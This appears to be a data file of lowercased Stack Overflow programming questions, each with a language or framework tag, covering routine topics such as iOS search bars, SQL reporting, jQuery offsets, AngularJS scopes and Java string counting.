uisearchbar should show result as soon as user enters charater in search bar without keyboard key storke  this code i have wriiten it only show result in search bar after entering text in uisearchcontrol on keybord key stroke sjows result.    i want that enter of each character in search which delegate should i used     can any one help me out please.   <pre><code>- (void)touchesbegan:(nsset *)touches withevent:(uievent *)event {     seachresultcontoller=1;     nsstring *searchbartext=searchcontollerobj.searchbar.text;     // searching by serial no     if(seachresultcontoller==1)     {         if(searchbartext == nil)         {             resultarray=[reasourcedatatoshowonview mutablecopy];          }         else         {             nsmutablearray *resultarray1=[[ nsmutablearray alloc] init];             for(nsdictionary *dict in reasourcedatatoshowonview)             {                 if([dict [serialno] containsstring:searchbartext])                 {                     [resultarray1 addobject:dict];                  }                  resultarray=resultarray1;                 ddlogdebug(@  search data %@  resultarray);              }         }          [ _resousetableview reloaddata];     }     // searchng by barcode     else if (searchbybarcode==1)     {         if(searchbartext == nil)         {             resultarray=[reasourcedatatoshowonview mutablecopy];          }         else         {             nsmutablearray *resultarray1=[[ nsmutablearray alloc] init];             for(nsdictionary *dict in reasourcedatatoshowonview)             {                 if([dict [barcode] containsstring:searchbartext])                 {                     [resultarray1 addobject:dict];                  }                  resultarray=resultarray1;                 ddlogdebug(@  search data %@  resultarray);              }         }          [ _resousetableview reloaddata];     }    }    - (void)touchesbegan:(nsset *)touches withevent:(uievent *)event {     seachresultcontoller=1;     nsstring *searchbartext=searchcontollerobj.searchbar.text;     // searching by serial no     if(seachresultcontoller==1)     {         if(searchbartext == nil)         {             resultarray=[reasourcedatatoshowonview mutablecopy];          }         else         {             nsmutablearray *resultarray1=[[ nsmutablearray alloc] init];             for(nsdictionary *dict in reasourcedatatoshowonview)             {                 if([dict [serialno] containsstring:searchbartext])                 {                     [resultarray1 addobject:dict];                  }                  resultarray=resultarray1;                 ddlogdebug(@  search data %@  resultarray);              }         }          [ _resousetableview reloaddata];     }     // searchng by barcode     else if (searchbybarcode==1)     {         if(searchbartext == nil)         {             resultarray=[reasourcedatatoshowonview mutablecopy];          }         else         {             nsmutablearray *resultarray1=[[ nsmutablearray alloc] init];             for(nsdictionary *dict in reasourcedatatoshowonview)             {                 if([dict [barcode] containsstring:searchbartext])                 {                     [resultarray1 addobject:dict];                  }                  resultarray=resultarray1;                 ddlogdebug(@  search data %@  resultarray);              }         }          [ _resousetableview reloaddata];     }    } </code></pre>   //this for to serch result after pressing enter btn    -   <pre><code>(void)searchbar:(uisearchbar *)searchbar textdidchange:(nsstring *)searchtext    seachresultcontoller=1;     nsstring *searchbartext=searchbar.text;     // searching by serial no     if(seachresultcontoller==1)     {         if(searchbartext == nil)         {             resultarray=[reasourcedatatoshowonview mutablecopy];          }         else         {             nsmutablearray *resultarray1=[[ nsmutablearray alloc] init];             for(nsdictionary *dict in reasourcedatatoshowonview)             {                 if([dict [serialno] containsstring:searchbartext])                 {                     [resultarray1 addobject:dict];                  }                  resultarray=resultarray1;                 ddlogdebug(@  search data %@  resultarray);              }         }          [ _resousetableview reloaddata];     }     // searchng by barcode     else if (searchbybarcode==1)     {         if(searchbartext == nil)         {             resultarray=[reasourcedatatoshowonview mutablecopy];          }         else         {             nsmutablearray *resultarray1=[[ nsmutablearray alloc] init];             for(nsdictionary *dict in reasourcedatatoshowonview)             {                 if([dict [barcode] containsstring:searchbartext])                 {                     [resultarray1 addobject:dict];                  }                  resultarray=resultarray1;                 ddlogdebug(@  search data %@  resultarray);              }         }          [ _resousetableview reloaddata];     }   }   - (void)touchesbegan:(nsset *)touches withevent:(uievent *)event {     seachresultcontoller=1;     nsstring *searchbartext=searchcontollerobj.searchbar.text;     // searching by serial no     if(seachresultcontoller==1)     {         if(searchbartext == nil)         {             resultarray=[reasourcedatatoshowonview mutablecopy];          }         else         {             nsmutablearray *resultarray1=[[ nsmutablearray alloc] init];             for(nsdictionary *dict in reasourcedatatoshowonview)             {                 if([dict [serialno] containsstring:searchbartext])                 {                     [resultarray1 addobject:dict];                  }                  resultarray=resultarray1;                 ddlogdebug(@  search data %@  resultarray);              }         }          [ _resousetableview reloaddata];     }     // searchng by barcode     else if (searchbybarcode==1)     {         if(searchbartext == nil)         {             resultarray=[reasourcedatatoshowonview mutablecopy];          }         else         {             nsmutablearray *resultarray1=[[ nsmutablearray alloc] init];             for(nsdictionary *dict in reasourcedatatoshowonview)             {                 if([dict [barcode] containsstring:searchbartext])                 {                     [resultarray1 addobject:dict];                  }                  resultarray=resultarray1;                 ddlogdebug(@  search data %@  resultarray);              }         }          [ _resousetableview reloaddata];     } </code></pre>   <strong><em>which delegate method or how to implement it can any one help me out</em></strong>,ios
sql reports - sorting an column based on the date mentioned in another column adjacent to it  it would be great if someone can help me out. i am new to sql.  this is what my table data is    table name: emp   <pre><code>e_no    e_name        e_jobrole      position   promotion_date 1   robin   sales           ceo 01/01/2012 1   robin   sales           cfo 20/01/2010 2   jackman sales - s1  emp 01/04/2009 4   sheldon marketing   mgr 15/08/2012 4   sheldon marketing   snrmgr  01/01/2011 4   sheldon marketing   mgr 01/01/2011 3   arnold  marketing   ceo 09/09/2009 5   emmy    marketing   snrmgr  08/08/2008 6   penny   admin           snrmgr  05/05/2012 6   penny   admin           mgr 09/09/2007 </code></pre>   by ordering through the date these guys promoted  i need to capture the previous position held by the employee and adjacent to that current position. is this possible      below is what i required as output    e_no e_name  e_job        prev_pos       curr_pos    promotion_date     1   robin   sales       cfo         ceo          01/01/2012     2   jackman sales - s1  not available   emp          01/04/2009     4   sheldon marketing   mgr         mgr          15/08/2012     3   arnold  marketing   not available   ceo          09/09/2009     5   emmy    marketing   not available   snrmgr           08/08/2008     6   penny   admin           mgr         snrmgr           05/05/2012,sql
program to convert .sln file into mingw command  i m going to be building a simple application with vs2012 (only 1 projet)  and i want to know if there is any easy way to also compile it with gcc or mingw for windows.    i was thinking to make a program that would parse the .vcproj file  look for the .cpp files simply then compile the same file with mingw for instance. but is there also something like that that exists,c++
time difference calculating using php   i find it difficult to calculate time difference using php. how to calculate time difference in <code>hh:mm:ss</code> format (hours:minutes:seconds) between two different dates     for example  the input is:     <pre> $start_time : 19:30   $end_time : 7:30    $currenttime = 21:30   </pre>   i have to find out current time has match with given start time and end time.,php
sql query what is  c  in this query <pre><code>select     c.cmpname      c.minbidvalue      c.prjid      c.allotdate from (     select         min(a.bidvalue) as minbidvalue          a.prjid          p.allotdate          a.cmpname     from         alloted a          projects p     where         a.prjid = p.projectid     group by         prjid ) c </code></pre>   what  c  (i know it being used as alias but it doesn t have table name declared for it ). ->here a is begin use as alias for alloted n p is begin used for project.,sql
are .net applications immune from classic pointer errors   does some article or proof exist that .net applications are immune to low level errors      i m talking about the classic pointer errors we can see in a c++ application  memory overflow  problems from the intel <a href= http://en.wikipedia.org/wiki/nx_bit  rel= nofollow noreferrer >dep</a> and so on.    i m talking about .net applications that do not use  unsafe  code  from what is my experience in this case only problems can be that of a memory leak or classic coding errors (like stack overflows) but i ve never seen low level errors.    could someone comment on this,.net
justify prices to right  i ve some prices like £ 160.00  £ 14.00 £ 7.00 £ 35.00........ i want to justify all prices to the right.how s it possible,css
create modern website that loads content without refresh  i m trying to find useful tutorials about how to create modern websites that loads content without refreshing the page.    i have tried all kinds of words in google  but i don t get any useful hits. perhaps it s because i m not sure what i should be searching for.    tips and links to tutorials would be appreciated!     thanks!,html
python: finding which variable has the highest value and assign that value to a new variable  i want to be able to find the highest value of three different variables with their own integer value assigned to them. these are my variables:   <pre><code>firstscore = 1 secondscore = 7 thirdscore = 8 </code></pre>   i want to find which of these variables has the highest value. to do this i created this code:   <pre><code>if firstscore &gt; secondscore:     if firstscore &gt; thirdscore:         highestscore = firstscore     if thirdscore &gt; firstscore:         highestscore = thirdscore  if secondscore &gt; firstscore:     if secondscore &gt; thirdscore:         highestscore = secondscore     if thirdscore &gt; secondscore:         highestscore = thirdscore  if thirdscore &gt; firstscore:     if thirdscore &gt; secondscore:         highestscore = thirdscore     if secondscore &gt; thirdscore:         highestscore = secondscore </code></pre>   this code works fine if i had thee differently numbered variables (like above)  and so the variable  highest score  would be equal to 8 (highest number was thirdscore). however  if i use three variables and two of them share the same value (for example: instead of 1  7  8 i had 8  8  3)  the variable  highest score  is <strong><em>always</em></strong> 0! can anybody explain why this is happening and if there is a way to address this issue in my code  i m sure it s a logical problem  but i haven t figured out. i just can t get my head around it!,python
get offset().top of element from the top of the window after being already scrolled within the page  upon page load i use    <pre><code>agenda_top = $( #agenda ).offset().top; travel_top = $( #travel ).offset().top; hotel_top =$( #hotel ).offset().top; </code></pre>   to store position of the main section within the page. and then i use those for navigation. eg. <code>$( #anchor ).animate({ scrolltop: hotel_top }   ease );</code> and <code>#anchor</code> is <code>&lt;body&gt;</code>.     the issue is that on the page there is an expandable table and with each row expanded the positions i stored initially become inaccurate. i would like to have a function that i could call when i open a row  that would recalculate the offsets. i tried calling the same function i use on page load  but because i am not at the top of the page when i call it the retrieved offsets are wrong.     i somehow need to get the offset of the elements <code>#travel</code> and <code>#hotel</code> from the top of the document perspective. is that possible     here s some numbers. when the page load the offset().top for <code>#hotel</code> is <code>2637</code> after i open the row which moves the <code>#hotel</code> element even further from top i do  offset().top again but this time it returns <code>2059</code> but it should be more not less than the original number since the div is now expanded. this is when i m scrolled within the browser window. but if i manually scroll to the top of the window  then do <code>hotel_top =$( #hotel ).offset().top;</code> i get <code>3137</code> which is the correct nuber  but i dont know hot to get this number while being scrolled within the page..,jquery
how to check if program is running on .net 4.6.1  how can i check if a program that is running on my pc is using .net framework 4.6.1      i can see in the registry that it is installed  but how can i make sure that a specific program is using it,.net
different result in debug a.k.a f11 vs  build solution   i detected a strange behaviour in one of my classes. if i debug the program it works as expected - it returns array with random length filled with random string elements from the  string [] basicjobs  which pass as a parameter inside the class constructor.  the strange behaviour comes if i just start the program by pressing f5. in that case the creatework() returns an array with random lenght but filled with identical strings.   <pre><code>class workcreator {     private string[] basicjobs;     private string[] createdjobs;     private random randworkcount = new random();     public workcreator(string[] basicjobs)     {         this.basicjobs = basicjobs;     }       public string[] creatework()     {         random randombasicjob = new random();         this.createdjobs = new string[randworkcount.next(3  20)];         for (int i = 0; i &lt; this.createdjobs.length; i++)         {            // createdjobs[i] = this.basicjobs[randombasicjob.next(basicjobs.length)];             createdjobs[i] = this.basicjobs[convert.toint16(new random().next(this.basicjobs.length))];          }         return createdjobs;     }  } </code></pre>   i found an workaround (the commented line of the code inside the <code>creatework()</code> )   but i am still wondering what is the cause of these behaviour ... :( . i am using <code>visual studio community 2013</code> and <code>.net 4.5</code>.    thanks for the help in advance.,c#
odd css positioning error in firefox and ie  for some reason  i have some problem with my css positioning on a social networking sharing tray on my site..    the even odder aspect of the problem is that it s only showing up in ie and ff..    i ve tried playing with the css properties in firebugg  but to no avail.    the link is here: <a href= http://www.marioplanet.com/index.asp  rel= nofollow noreferrer >http://www.marioplanet.com/index.asp</a>    the look in ff and ie makes the icons look all jumbled  while in safari and chrome  you can see that they are all lined up properly.    could anyone help explain this odd phenomenon,css
use of pure virtual function defined outside the class in c++   i read on internet that very rarely we will define the function even though it is defined as pure virtual inside the class as below.   <pre><code>class abc {     public:         virtual void func() = 0; }  void abc::func() {     cout &lt;&lt;  in abc::func() ; } </code></pre>   i didn t understand the uses of this.  on the link <a href= http://www.gotw.ca/gotw/031.htm  rel= nofollow >http://www.gotw.ca/gotw/031.htm</a>  it got mentioned that we can use this as pure virtual destructor. but i haven t clearly understand. can any one please let me know what are the uses.,c++
$http complete function using $q  i want to use something in angularjs using deferred promise. so that i can use then condition when my $http request is done. i tried it with finally but code is not valid and always didnt work after the error block.   <pre><code>userapp.runmachinelearning = function($scope  $http  $rootscope  $route  $q) { $scope.objrun = {}; $scope.loader = {     loading : false };  deferred=$q.defer();  $scope.runmachine = function(objrun) {      $scope.loader.loading = true;           $scope.objrun = objrun;         $scope.method =  post ;         console.log( call );          $scope.url =  rest/service/pipeline/runmachinelearning ;          $http({             method : $scope.method              url : $scope.url              data : $scope.objrun              headers : {                  x-auth-token  : $rootscope.authtoken             }         }).success(function(data  status) {             $scope.status = status;             $scope.data = data;         }).error(function(data  status) {             $scope.data = data ||  request failed ;             $scope.status = status;         }).then(function(data) {           console.log( complete message );         });  }; }; </code></pre>,angularjs
gridview get column values- on button click  i have a gridview in asp.net application. all the data has been populated. in a button click (not in gridview events) i want to get all the particular column values. i preferred getting item by item. so i tried below way.   <pre><code>string columnvalue1=gridview1.rows[0].cells[0].text; string columnvalue2=gridview1.rows[1].cells[0].text; string columnvalue3=gridview1.rows[2].cells[0].text; </code></pre>   my gridview code is this:   <pre><code>datatable dt = new datatable();  datarow dr = null;  dt.columns.add(new datacolumn( rownumber   typeof(string)));  dt.columns.add(new datacolumn( column1   typeof(string))); dt.columns.add(new datacolumn( column2   typeof(string)));  dt.columns.add(new datacolumn( column3   typeof(string)));  dr = dt.newrow(); dr[ rownumber ] = 1; dr[ column1 ] = string.empty;  dr[ column2 ] = string.empty; dr[ column3 ] = string.empty;  dt.rows.add(dr); //store the datatable in viewstate  viewstate[ currenttable ] = dt;  gridview1.datasource = dt;  gridview1.databind(); </code></pre>  <hr>   and when i bind the gridview data to datatable after adding data to controls it returns empty for controls. can anyone suggest me to solve this issue.,asp.net
iphone: any way to create screenshots without lock button   sorry  not a programming question  but also important: is there any way to create a screenshot of an iphone without using the combination home+lock button  jb-app  something else     thx guys ;)    greez  flo,iphone
retrieving image from sql database by its path  i have a database where i have the physical path where image of a person is stored . now i want a code by which i can display the image of that person in a aspx window.    as i am new to asp.net &amp; c#  can somebody provide me the full code of aspx page and the c# code behind it,asp.net
keeping some choices in the table for the field of type dropdown  i am having a table named    attributes    which has    <pre><code>    id form_id label size sequence_no   type      1    1      name 200    1           text     2    1      age  150    2           number     3    1     address 300  3           textarea     4    1     gender   200 4           dropdown </code></pre>   i am having the doubt how can i keep the choices of the field of type  dropdown  in the table eg. for gender the choices will male   female..    please give me the suggestions...,mysql
how to animate zooming into an image without changing the image size  how can i recreate a slight zoom in to an image using animations     i have a uiimageview and i want it to look like we zoom in to the image after 1 second  lasting 1 second  but the uiimageview size must not change.    something like this but the image view changes its size:   <pre><code>[uiview animatekeyframeswithduration:1                                    delay:0                                  options:uiviewkeyframeanimationoptionbeginfromcurrentstate                               animations:^{                                   [uiview addkeyframewithrelativestarttime:0                                                           relativeduration:1                                                                 animations:^{                                                                     self.imageview.transform =cgaffinetransformmakescale(1.1  1.1);                                                                 }];                               }                               completion:^(bool finished) {                                }]; </code></pre>,objective-c
server port returns null <pre><code>httpcontext.current.request.servervariables[ server_port ]  </code></pre>   &amp;    <pre><code>httpcontext.current.request.servervariables[ server_port_secure ]  </code></pre>   return <code>null</code> when called via webservice code.    any idea why,c#
find distinct value from comma separated single string  i have a table like this and i want to select distinct value in single column:   <pre><code>  id        value    1       13245|43558    2       45961|5051    3       43558| 5059 </code></pre>   i need output like this:   <pre><code>13245 43558 45961 5051 5059 </code></pre>,mysql
where to put attributes in link_to block  i m trying to put the title in the html_options <a href= http://apidock.com/rails/actionview/helpers/urlhelper/link_to  rel= nofollow >as described in the docs:</a>   <pre><code>link_to shop_path(@shop  html_options = {title:  hola el mundo ) do     content_tag( :span   hello   class:  some_class ) +     +     content_tag( :span  truncate(@shop.name  length: 37)) end </code></pre>   but it doesn t work. where do i put the title attribute in a link_to block,ruby-on-rails
ror: large project management. need help from ror seniors that have worked on large projects  i am currently working on a large project. it is already lunched but the problem is users are already using the app and having very erroneous results. they don t complain much but each and every day i am receiving emails on errors and improvements.     i would appreciate some help in deciding weather to debug the app or just create another one. i m working on a rails 2.5 app with old plugins.    and i m the only one doing all this. t.t,ruby-on-rails
can t login to mysql after changing password  i m trying to set a user s password but after i set it  i still can t log in as that user.   <pre><code>$ mysql -uroot -p mydb enter password:  mysql&gt; select user host password from mysql.user; ... webapp | % | *.... |  mysql&gt; show grants for webapp@ % ; grant usage on *.* to  webapp @ %  idnetified by password  *...  grant select  insert  update  delete  execute on  mydb .* to  webapp @ %   mysql&gt; set password for webapp@ % =password( mypassword ); query ok  0 rows affected (0.00 sec)  mysql&gt; flush privileges; query ok  0 rows affected (0.00 sec)  mysql&gt; exit  $ mysql -uwebapp -p mydb enter password: error 1045 (28000): access denied for user  webapp @ localhost  (using password: yes) </code></pre>   i just set the password and it does not work  what is happening     by the way the user s table only has one entry with the name  webapp  and its host is  %     i m using mysql 5.1.67.  i also tried restarting mysqld  but it still doesn t work.,mysql
reading filemodificationdate  how do i access the filemodificationdate   <pre><code>    nsstring *docsdir = [nshomedirectory() stringbyappendingpathcomponent:                          @ tempipad ];     nsfilemanager *localfilemanager=[[nsfilemanager alloc] init];     nsdirectoryenumerator *direnum =     [localfilemanager enumeratoratpath:docsdir];     nsstring *file;      // list all files in docsdir     while (file = [direnum nextobject]) {         nslog(@ file = %@  file);         nserror *attributeserror = nil;         nsdictionary *fileattributes = [[nsfilemanager defaultmanager] attributesofitematpath:file error:&amp;attributeserror];          nsstring *filemodificationdate = [fileattributes objectforkey:nsfilemodificationdate];         nslog(@ moddate = %@  filemodificationdate);          }      } </code></pre>   this just outputs (null). eventually i will want to compare the filemodificationdate for two files  so how will i do that,objective-c
including rails controller action in concern  is it possible to add a controller action via a concern     i am trying to include a controller action via concern but it is not getting found:   <pre><code>module wizbang   module actsaswizbang     extend activesupport::concern      included do        def foo         # do something       end     end end </code></pre>   i ve added the approprioate route to my routes file  but it can t find the action on the controller.    when i include this code in my controller   <pre><code>class simplecontroller &lt; applicationcontroller    include wizbang::actsaswizbang  end </code></pre>   i receive the message:    <code>the action  foo  could not be found for simplecontroller.</code>,ruby-on-rails
making ledger report from two tables  i have two tables ledgertable openingtable i want a report like given below using both the tables like this: item no. | item name | opening | date       | voucher no. | purchase | issue | return | department | balance | remarks    1  ac box      2   01/12/2018  20180000000044  1                   3.00<br>                 09/16/2017  2017916005          1       iii dorm    2.00    for commen room  collected by kishan                 10/07/2017  2017107003          1       iii dorm    1.00    collected by sanjay                 09/15/2017  2017000000461   1                   2.00<br>                 10/06/2017  2017000000526   1                   3.00 i am not getting the query how to do it. i have written a query but it is giving wrong result in balance column. basically all the values are coming right but i am getting problem to calculate balance.  here is my query :  select l.trandate l.voucherno l.itemno l.itemname l.recieve l.issue l.returnback l.to_dept o.opening l.remarks balance = ((o.opening+isnull(recieve 0)+isnull(returnback 0))-isnull([issue] 0))+isnull((select sum((isnull(recieve 0)+isnull(returnback 0))-isnull([issue] 0)) from ledgertable b where b.voucherno &lt; l.voucherno and b.itemno=l.itemno) 0) from ledgertable l join openingstock o on l.itemno=o.itemno where l.trandate between    + startdate +    and    + enddate +     i am attaching image of result which i am getting with this query<a href= https://i.stack.imgur.com/hvzoe.png  rel= nofollow noreferrer >enter image description here</a>,asp.net
jquery submit function - how not to have it binded if already binded  i have the following:   <pre><code>$( #xxxxx ).submit(function() { .... }); </code></pre>   this is contained within a script that gets called w jquery getscript... how can i make sure this bind only gets applied once  and or  clear out beforehand     thanks,jquery
angularjs performance of $scope.watch vs manual function call   assuming i have a very complicated object where each key has very large nested structures for values. each entry in the object (key  complex nested value pair) comes as a result of a call to some http service.    performance-wise... is it better to....    1) in a service  scope watch the object for any new keys  then inside of it  call a function to do something. 2) after a successful http request  manually call functions that would have otherwise been in the scope watch function to process the new information.    i think the angular way is to watch  but if option 1 would cause a performance issue due to some constant watching  i would prefer to do 2.    what is the best performance way to do this provided that my object being watched could potentially have a large volume key/values,angularjs
java: how to count a character in a string  i have to count the number of times that a character appears in a string.      i know this question has been asked previously.  however  the solutions that i ve seen use commands/techniques that i haven t yet covered in class.      here is my code:   <pre><code>import java.util.scanner; /* this program counts the number of occourances of a char in a string. */  public class lettercounter { public static void main(string[] args)  { int i  length  count=0; string input; char letter1  letter2;  // create a scanner object for keyboard input. scanner stdin = new scanner(system.in);  // get a string from user system.out.print( enter a string:  ); input = stdin.nextline();  // get a character from user  system.out.print( enter a character:  ); letter1 = stdin.next().charat(0);  //determine the length of the string length = input.length();  //count the number of times the user selected character appears in the string for (i = 0; i &lt;= length; i++)  {     letter2 = input.charat(i);     if (letter1 == letter2) { count++; } }  system.out.printf( occurrences of a %s in %s is %d   letter1  input  count);       </code></pre>   } }    here is the output from jgrasp:    ----jgrasp exec: java lettercounter enter a string: hello world enter a character: l exception in thread  main  java.lang.stringindexoutofboundsexception: string index out of range: 11     at java.lang.string.charat(string.java:658)     at lettercounter.main(lettercounter.java:37)    ----jgrasp wedge2: exit code for process is 1.  ----jgrasp: operation complete.    i don t understand the errors.  any and all help is appreciated.,java
.net  java  air  win32... what s the most compatible environment for running desktop apps   i have an old win32 application that i m considering having someone port to an environment that s more flexible and easier to maintain.      the foremost requirement is the new version  like the win32 version  must install and run without major headaches on windows machines.  in other words  almost all winxp or later machines should be able to run it without first installing updates  a virtual machine  etc.  for example  air is out because i would have to force the user to install the environment (i think). .net  last i checked  has versioning issues that might force the user to have to upgrade (<a href= http://www.joelonsoftware.com/articles/pleaselinker.html  rel= nofollow noreferrer >http://www.joelonsoftware.com/articles/pleaselinker.html</a>) but maybe this problem can be avoided by developing against an older version     the secondary requirement is  everything else  - ui flexibility  ease of development  tool support  etc.  but basically everything else is secondary to customers being able to run it easily.    i don t know enough about the state of the art of pc client development to guide my thinking here.  which runtimes have solved the installation issue,.net
calculate average of arraylist<float[]> type that returns float[] in java  i have an <code>arraylist</code> of type <code>float[]</code>  and i am trying to calculate the average of those <code>float[]</code> in the <code>arraylist</code>;     eg:    <pre><code>[1.5 5.5 2.5 3.0 7.5] [2.5 7.5 4.5 3.5 9.5] [8.5 5.5 6.5 4.0 1.5] [5.5 8.5 6.5 2.0 4.5] </code></pre>   and want the final return result of    <pre><code>[4.5 6.75 5.0 3.125 5.75]][1] </code></pre>,java
html object element overwrites following elements  i m embedding a .pdf file in a page like this:   <pre><code>&lt;div id= main &gt; &lt;object type= application/pdf  data= /blah.pdf  width= 675  height= 830  /&gt; &lt;p&gt;other html elements&lt;p&gt; &lt;/div&gt; </code></pre>   where:   <pre><code>#main {     width: 675px;     margin: 0px 0px 0px 10px;     padding: 5px 20px 5px 20px;     background-color: #fff; } </code></pre>   the .pdf renders with the size i specify  but elements following the object element (such as the p element) don t get rendered  or are overwritten.    it s like this both in the latest ie and firefox.  know what s wrong,html
how are objective-c classes implemented   i keep hearing about how objective-c classes are just c structs. can anyone shed more light on how they are actually implemented,objective-c
safari error undefined is not an object  i ve read a few post here concerning my issue but i don t know how to apply that to my code since i don t work with an array or other object.     in safari i get this error:   <pre><code>typeerror: undefined is not an object (evaluating  $( #related .expansion ).data( handle ).replace ) </code></pre>   i have a function that populates a select dynamically  like so:   <pre><code>function expansierubberselect(){   var url = $( #related .expansion ).data( handle ).replace( .html    .ajax );     $.getjson(url  function(data){         var select =   ;        $.each(data.variants  function (index  variant) {           select +=  &lt;option value=  +variant.id+   data-size=  +variant.title.replace(/\d/g   )+   data-price=  +variant.price.price_excl.tofixed(2)+   data-priceincl=  +variant.price.price+  &gt; +variant.title+ &lt;/option&gt;         });        $( #related .expansion select ).append(select);     }); } </code></pre>   and then in my doc ready i call it like so:   <pre><code> $(function(){      expansierubberselect()  }); </code></pre>   i ve read that missing an object is causing the problem obviously. however i don t have a clue how that would apply to my code. do i need to change the select to an array or something  and then call in like <code>expansierubberselect(myselect)</code>     any help appreciated!,jquery
is there a bug in .net columnmappings class   this works:   <pre><code>using system; using system.collections.generic; using system.data;      using system.data.common; using system.data.oledb;  public class myclass {     public static void main()     {     oledbconnection mysqlconnection =new oledbconnection(@ provider=microsoft.jet.oledb.4.0;data source=c:\data\nwind.mdb );      oledbcommand mysqlcommand = mysqlconnection.createcommand();     mysqlcommand.commandtext =  select employeeid as mappedid  firstname  lastname   +        from employees as emp   +        where employeeid = 9 ;     oledbdataadapter mysqldataadapter = new oledbdataadapter();     mysqldataadapter.selectcommand = mysqlcommand;     dataset mydataset = new dataset();     mysqlconnection.open();     mysqldataadapter.fill(mydataset   employees );     mysqlconnection.close();      datatablemapping mydatatablemapping = mysqldataadapter.tablemappings.add( employees    dtemployee );      mydataset.tables[ employees ].tablename =  dtemployee ;      console.writeline( mydatatablemapping.datasettable =   + mydatatablemapping.datasettable);     console.writeline( mydatatablemapping.sourcetable =   + mydatatablemapping.sourcetable);      mydatatablemapping.columnmappings.add( employeeid    mappedid );      datatable mydatatable = mydataset.tables[ dtemployee ];     foreach (datarow mydatarow in mydatatable.rows)     {       console.writeline( id =   + mydatarow[ mappedid ]);       console.writeline( firstname =   + mydatarow[ firstname ]);       console.writeline( lastname =   + mydatarow[ lastname ]);     }            console.readline();     }  } </code></pre>   just change  mappedid  to something else like  newmappedid :   <pre><code>mydatatablemapping.columnmappings.add( employeeid    newmappedid ); console.writeline( id =   + mydatarow[ newmappedid ]); </code></pre>   to something else like  newmappedid  and the program will crash at runtime saying newmappedid doesn t belong to table dtemployee. is this a bug  !,c#
can i make this isolated scope directive work with my parent scope   i looked at the documentation about <code>scope</code> but can t wrap my head around it. my directive is a loading-overlay with an isolated scope. i tried both <code>scope: true</code> and <code>scope: false</code>  but neither has the desired effect. on top of that i read that <code>scope: {}</code> is considered to be best practice.    i understand that you can pass values to the isolated scope via <code>@</code> or <code>=</code>  but that s not what i need (i think ). what i need  is to add my directive(=the overlay) to the parent-scope when clicking on a breadcrumb.    <strong>tl;dr</strong>: my overlay doesn t appear when i navigate with the breadcrumbs.    here s the html:   <pre><code>&lt;div id= myapp &gt;             &lt;ui-breadcrumbs template-url= scripts/app/uibreadcrumbs.tpl.html  displayname-property= data.breadcrumblabel  abstract-proxy-property= data.breadcrumbproxy &gt;&lt;/ui-breadcrumbs&gt;              &lt;div loading-overlay&gt;&lt;/div&gt; **this is my isolated scope**              &lt;div id= mainbody  ui-view= main &gt;                 @renderbody()             &lt;/div&gt; &lt;/div&gt; </code></pre>   this is the directive:   <pre><code>(function () {      use strict ;     angular         .module( myapp )         .directive( loadingoverlay   [ $http    $timeout               function ($http  $timeout) {                 return {                     restrict:  a                       replace: true                      templateurl:  ./scripts/app/loading.overlay.html                       scope: {}                      link: function (scope  element) {                              scope.isrouteloading = false;                             scope.isroutestillloading = false;                              scope.$on( $statechangestart   function () {                                 scope.isroutestillloading = true;                                 scope.isrouteloading = true;                                 element.addclass( show );                             });                             scope.$on( $statechangesuccess   function () {                                 scope.isroutestillloading = false;                                 scope.isrouteloading = false;                                 $timeout(function () {                                     if (scope.isroutestillloading)                                         scope.isrouteloading = true;                                     element.removeclass( show );                                 }  500);                             });                              scope.$watch(scope.isrouteloading                                  function (value) {                                     return value   element.addclass( show ) : element.removeclass( show );                                 });                        }                 };             }]);  })(); </code></pre>,angularjs
python class scope & lists  i m still fairly new to python  and my oo experience comes from java.  so i have some code i ve written in python that s acting very unusual to me  given the following code:   <pre><code>class myclass():         mylist = []         mynum = 0          def __init__(self):                 # populate list with some value.                 self.mylist.append( hey! )                 # increment mynum.                  self.mynum += 1  a = myclass()  print a.mylist print a.mynum  b = myclass()  print b.mylist print b.mynum </code></pre>   running this results in the following output:   <pre><code>[ hey! ] 1 [ hey!    hey! ] 1 </code></pre>   clearly  i would expect the class variables to result in the same exact data  and the same exact output... what i can t seem to find anywhere is what makes a list different than say a string or number  why is the list referencing the same list from the first instantiation in subsequent ones  clearly i m probably misunderstanding some kind of scope mechanics or list creation mechanics..,python
open and parse a file  i m working through a programming project for a course i m in and i m struggling with what i think is just a fundamental misunderstanding of c programming and was hoping so could help. i m trying to open a file with this piece of code:   <pre><code>file *fp; if(fp = fopen( testfile.txt    r ) == null){     perror( fileopen ); } </code></pre>   when i try to compile that code i getting this warning: warning: assignment makes pointer from integer without a cast    then  when i try to read the file i m getting a segmentation fault.    i m an experienced java programmer but there is something about pointers and data types in c that i just don t understand.    thanks!,c
android http put request probably differs from post  because it doesnt work   here is how i use post and it works:   <pre><code>defaulthttpclient httpclient = new defaulthttpclient(); httppost httppost = new httppost(url); httppost.setentity(new urlencodedformentity(params));  httpresponse httpresponse = httpclient.execute(httppost); httpentity httpentity = httpresponse.getentity(); inputstream = httpentity.getcontent(); </code></pre>   and i didnt know how to use put  so i got this code and i changed every  post  to  put  but i dont think it works:   <pre><code>defaulthttpclient httpclient = new defaulthttpclient(); httpput httpput = new httpput(url); httpput.setentity(new urlencodedformentity(params)); httpresponse httpresponse = httpclient.execute(httpput); httpentity httpentity = httpresponse.getentity(); inputstream = httpentity.getcontent(); </code></pre>   when i try updating a user s account using this implementation ot put i get errors from the server. -  no session. unauthorized.  when i use chrome s postman with the same parameters  i get no problem  so i think my put implementation doesnt work.,android
selecting records with only one value occurring within a range  each week i send a large quantity of eggplants from my eggplant farm to my various customers. customers usually purchase the same number of eggplants weekly  but occasionally that amount varies. since i have over 25 000 000 customers (big farm)  i want to condense their purchase information into a more manageable table for the report i m working on. here s what my source data looks like -     custacct -------------- purchaseweekenddate ----- eggplantspurchased   <pre><code> 123                  1/1/2012                    50   123                  1/8/2012                    50   123                  1/15/2012                   50   123                  1/22/2012                   60   123                  1/29/2012                   50   123                  2/5/2012                    50 </code></pre>   i would like the data in my new table to look like this -     custacct-------      startrangepwend date-----     endrangepwenddate      ------eggplantspurchased   <pre><code> 123            1/1/2012           1/15/2012                50   123            1/22/2012          1/22/2012                60   123            1/29/2012          2/5/2012                 50 </code></pre>   any ideas,sql
